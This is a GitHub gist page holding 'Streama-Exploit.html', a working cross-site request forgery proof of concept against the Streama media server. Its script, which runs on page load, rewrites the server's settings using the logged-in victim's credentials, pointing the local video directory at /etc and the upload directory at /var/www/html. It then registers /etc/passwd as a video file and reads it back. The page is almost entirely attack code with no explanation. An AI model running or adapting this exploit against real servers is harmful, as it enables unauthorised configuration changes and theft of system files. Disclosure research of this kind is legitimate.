Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@omriinbar

omriinbar/Streama-Exploit.html Secret

Last active September 26, 2021 11:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save omriinbar/3c741d309e5d0ede29dc7ecdad4eba3f to your computer and use it in GitHub Desktop.
Save omriinbar/3c741d309e5d0ede29dc7ecdad4eba3f to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Streama-Exploit.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
var settings_xhr = new XMLHttpRequest();
settings_xhr.onreadystatechange = function() {
if (settings_xhr.readyState == XMLHttpRequest.DONE) {
var file_xhr = new XMLHttpRequest();
file_xhr.onreadystatechange = function() {
if (file_xhr.readyState == XMLHttpRequest.DONE) {
var first_output = this.responseText;
var file_path = first_output.substr(first_output.indexOf("src\":\"")).replace("src\":\"", "").split('\"')[0];
destination = "http://streama-ip:8080" + file_path;
if (!file_path.includes('.')){
destination = destination.substr(0, destination.length - 1) + "." + destination[destination.length - 1]
}
var final_xhr = new XMLHttpRequest();
final_xhr.onreadystatechange = function() {
if (final_xhr.readyState == XMLHttpRequest.DONE) {
alert(this.responseText);
}
}
final_xhr.open("GET", destination, true);
final_xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
final_xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
final_xhr.withCredentials = true;
var body = "";
final_xhr.send(body);
}
}
file_xhr.open("GET", "http:\/\/streama-ip:8080\/video\/addLocalFile.json?id=2&localFile=%2Fetc%2Fpasswd", true);
file_xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
file_xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
file_xhr.withCredentials = true;
var body = "";
file_xhr.send(body);
}
}
settings_xhr.open("POST", "http:\/\/streama-ip:8080\/settings\/updateMultiple.json", true);
settings_xhr.setRequestHeader("Accept", "application\/json, text\/plain, *\/*");
settings_xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
settings_xhr.setRequestHeader("Content-Type", "application\/json;charset=utf-8");
settings_xhr.withCredentials = true;
var body = "[{\"id\":1,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":true,\"settingsKey\":\"Upload Directory\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":\"/var/www/html\",\"parsedValue\":\"/var/www/html\"},{\"id\":2,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":false,\"settingsKey\":\"TheMovieDB API key\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":null,\"parsedValue\":null},{\"id\":3,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":false,\"settingsKey\":\"TheMovieDB API language\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":\"en\",\"parsedValue\":\"en\"},{\"id\":4,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":true,\"settingsKey\":\"Base URL\",\"settingsType\":\"string\",\"validationRequired\":false,\"value\":\"http://localhost:8080\",\"parsedValue\":\"http://localhost:8080\"},{\"id\":5,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":false,\"settingsKey\":\"Second Directory\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":null,\"parsedValue\":null},{\"id\":6,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":false,\"settingsKey\":\"Local Video Files\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":\"/etc\",\"parsedValue\":\"/etc\"},{\"id\":7,\"description\":{},\"defaultValue\":null,\"name\":null,\"required\":null,\"settingsKey\":\"First Time Login Info\",\"settingsType\":\"boolean\",\"validationRequired\":true,\"value\":true,\"parsedValue\":true},{\"id\":8,\"description\":{},\"defaultValue\":null,\"name\":\"anonymous_access\",\"required\":null,\"settingsKey\":\"Allow anonymous access\",\"settingsType\":\"boolean\",\"validationRequired\":true,\"value\":false,\"parsedValue\":false},{\"id\":9,\"description\":{},\"defaultValue\":null,\"name\":\"show_version_num\",\"required\":null,\"settingsKey\":\"Show Version Number\",\"settingsType\":\"boolean\",\"validationRequired\":true,\"value\":true,\"parsedValue\":true},{\"id\":10,\"description\":{},\"defaultValue\":\"/assets/logo.png\",\"name\":\"logo\",\"required\":true,\"settingsKey\":\"Logo\",\"settingsType\":\"fileUpload\",\"validationRequired\":true,\"value\":\"/assets/logo.png\",\"parsedValue\":\"/assets/logo.png\",\"prevValue\":\"/assets/logo.png\",\"src\":\"/assets/logo.png\"},{\"id\":11,\"description\":{},\"defaultValue\":\"/assets/favicon.ico\",\"name\":\"favicon\",\"required\":true,\"settingsKey\":\"Favicon\",\"settingsType\":\"fileUpload\",\"validationRequired\":true,\"value\":\"/assets/favicon.ico\",\"parsedValue\":\"/assets/favicon.ico\",\"prevValue\":\"/assets/favicon.ico\",\"src\":\"/assets/favicon.ico\"},{\"id\":12,\"description\":{},\"defaultValue\":\"/assets/bg.jpg\",\"name\":\"loginBackground\",\"required\":true,\"settingsKey\":\"loginBG\",\"settingsType\":\"fileUpload\",\"validationRequired\":true,\"value\":\"/assets/bg.jpg\",\"parsedValue\":\"/assets/bg.jpg\",\"prevValue\":\"/assets/bg.jpg\",\"src\":\"/assets/bg.jpg\"},{\"id\":13,\"description\":{},\"defaultValue\":null,\"name\":\"title\",\"required\":true,\"settingsKey\":\"Streama title\",\"settingsType\":\"string\",\"validationRequired\":false,\"value\":\"Streama\",\"parsedValue\":\"Streama\"},{\"id\":14,\"description\":{},\"defaultValue\":null,\"name\":\"user_activity_rotation\",\"required\":false,\"settingsKey\":\"User Activity Rotation\",\"settingsType\":\"integer\",\"validationRequired\":false,\"value\":null,\"parsedValue\":null},{\"id\":15,\"description\":{},\"defaultValue\":null,\"name\":\"player_showDownloadButton\",\"required\":false,\"settingsKey\":\"Let users download Videos\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":true,\"parsedValue\":true},{\"id\":16,\"description\":{},\"defaultValue\":null,\"name\":\"player_downloadForAllUsers\",\"required\":false,\"settingsKey\":\"All Users can download (otherwise only Trusted)\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":true,\"parsedValue\":true},{\"id\":17,\"description\":{},\"defaultValue\":null,\"name\":\"hidden_dash_sections\",\"required\":false,\"settingsKey\":\"Hidden Dash sections\",\"settingsType\":\"string\",\"validationRequired\":false,\"value\":null,\"parsedValue\":null},{\"id\":18,\"description\":{},\"defaultValue\":null,\"name\":\"guess_subtitle_label\",\"required\":false,\"settingsKey\":\"Guess Subtitle Label\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":19,\"description\":{},\"defaultValue\":null,\"name\":\"subtitle_auto_load\",\"required\":false,\"settingsKey\":\"Subtitle Auto Load\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":true,\"parsedValue\":true},{\"id\":20,\"description\":{},\"defaultValue\":null,\"name\":\"hide_help_faq\",\"required\":false,\"settingsKey\":\"Hide Help/FAQ section\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":21,\"description\":{},\"defaultValue\":null,\"name\":\"hide-dash-sections\",\"required\":false,\"settingsKey\":\"Hide Dashboard Header-links\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":22,\"description\":{},\"defaultValue\":null,\"name\":\"hide-dash-search\",\"required\":false,\"settingsKey\":\"Hide Dashboard Search\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":23,\"description\":{},\"defaultValue\":null,\"name\":\"enable-random-episode-button\",\"required\":false,\"settingsKey\":\"Enable Random Episode button\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":24,\"description\":{},\"defaultValue\":null,\"name\":\"footer-content\",\"required\":false,\"settingsKey\":\"Footer Content\",\"settingsType\":\"wysiwyg\",\"validationRequired\":false,\"value\":null,\"parsedValue\":null},{\"id\":25,\"description\":{},\"defaultValue\":null,\"name\":\"hide-dash-button\",\"required\":false,\"settingsKey\":\"Hide \'Dashboard\' button\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":26,\"description\":{},\"defaultValue\":null,\"name\":\"hide-mylist-button\",\"required\":false,\"settingsKey\":\"Hide \'My List\' button\",\"settingsType\":\"boolean\",\"validationRequired\":false,\"value\":false,\"parsedValue\":false},{\"id\":27,\"description\":{},\"defaultValue\":null,\"name\":\"profile-count\",\"required\":true,\"settingsKey\":\"Amount of profiles users can create\",\"settingsType\":\"integer\",\"validationRequired\":false,\"value\":\"4\",\"parsedValue\":4},{\"id\":28,\"description\":{},\"defaultValue\":null,\"name\":\"credentials_opensubtitles\",\"required\":false,\"settingsKey\":\"Credentials for opensubtitles\",\"settingsType\":\"string\",\"validationRequired\":true,\"value\":null,\"parsedValue\":null}]";
settings_xhr.send(body);
</script>
</body>
</html>
@omriinbar
Copy link
Author

Streama-exploit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment